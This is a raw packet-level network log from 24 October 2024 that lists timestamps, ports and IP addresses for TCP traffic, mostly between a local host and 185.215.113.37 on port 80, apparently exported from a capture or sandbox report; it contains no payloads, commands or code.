Oct 24, 2024 08:38:44.040093899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040115118 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040144920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040180922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040193081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040206909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040213108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040221930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040230036 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040239096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040246010 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040255070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040262938 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040277004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040294886 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040443897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040457010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040469885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040472984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040482044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040493965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040508032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040529013 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.076668024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076689005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076706886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076719999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076730967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076741934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076752901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076765060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076776981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076858044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076878071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076893091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076905966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.076917887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.077013969 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.077049971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.088619947 CEST	61040	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:44.088644981 CEST	443	61040	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:44.088917017 CEST	443	61040	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:44.088973999 CEST	61040	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:44.154326916 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154350996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154365063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154416084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154427052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154444933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154457092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154469013 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154491901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154503107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154515028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154618979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154629946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154685974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154696941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154709101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154721975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154783010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154795885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154808998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154822111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154898882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154911041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154922962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154963017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154973984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.154985905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155128002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155167103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155179977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155189991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155206919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155217886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155262947 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155275106 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155288935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155302048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155396938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155447006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155461073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155472994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155484915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155498028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155612946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155625105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155637026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155683994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155694962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155705929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155750990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155791044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155807018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155833960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155846119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155858994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155869961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.155881882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.163407087 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.163644075 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.163692951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.163719893 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.163742065 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.163764954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.195627928 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195656061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195667982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195679903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195686102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.195700884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195718050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195724010 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.195736885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195740938 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.195760012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195760965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.195774078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195785046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195796967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195808887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.195822954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.196084976 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.229435921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.229451895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.233525991 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.234059095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.234085083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.234107971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.234134912 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.269685984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269737005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269752979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269748926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.269778967 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.269798040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.269833088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269850016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269865990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269881964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269897938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269927979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269943953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.269961119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270018101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270034075 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270041943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270051003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270066977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270076036 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270085096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270097017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270144939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270159960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270174980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270221949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270236015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270251989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270279884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270296097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270311117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270327091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270445108 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270446062 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270484924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270493984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270520926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270535946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270550966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270566940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270626068 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270634890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270680904 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270689964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270705938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270731926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270735979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270750999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270766973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270831108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270831108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270831108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270831108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270848989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270863056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270879030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270889044 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270895004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270911932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.270921946 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270921946 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270936012 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.270953894 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271029949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271044970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271059990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271069050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271083117 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271089077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271104097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271107912 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271126986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271148920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271174908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271214962 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271215916 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271233082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271254063 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271279097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271281004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271296978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271322012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271327019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271337986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271343946 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271353960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271362066 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271411896 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271420956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271430016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271444082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271459103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271464109 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271476030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271492004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.271497965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271497965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271516085 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.271538019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.310842991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.310859919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.310883999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.310909986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.310910940 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.310954094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.310969114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.310978889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.310983896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.310995102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.311000109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311024904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311039925 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.311048031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311062098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311069012 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.311091900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311106920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311120033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311135054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311151028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311170101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.311522007 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.344680071 CEST	61040	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:44.344700098 CEST	443	61040	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:44.349283934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.349308968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.349323988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.349332094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.349342108 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.349355936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.350300074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.384803057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.384819984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.384835005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.384862900 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.384896040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.384948015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.384963036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.384977102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385004044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385019064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385065079 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385080099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385107994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385122061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385138035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385142088 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385154009 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385178089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385231972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385245085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385308981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385324001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385340929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385368109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385384083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385397911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385436058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385452032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385464907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385504961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385516882 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385528088 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385533094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385550022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385550022 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385565996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385581970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385582924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385644913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385659933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385687113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385703087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385716915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385734081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385852098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385864019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385879040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385895967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385910988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385921955 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385930061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385946989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385952950 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.385976076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.385991096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386008024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386029959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386044025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386059999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386147022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386202097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386231899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386248112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386262894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386315107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386348963 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.386384010 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.386420012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386435986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386451006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.386466026 CEST	80	61014	185.215.113.37	192.168.2.5
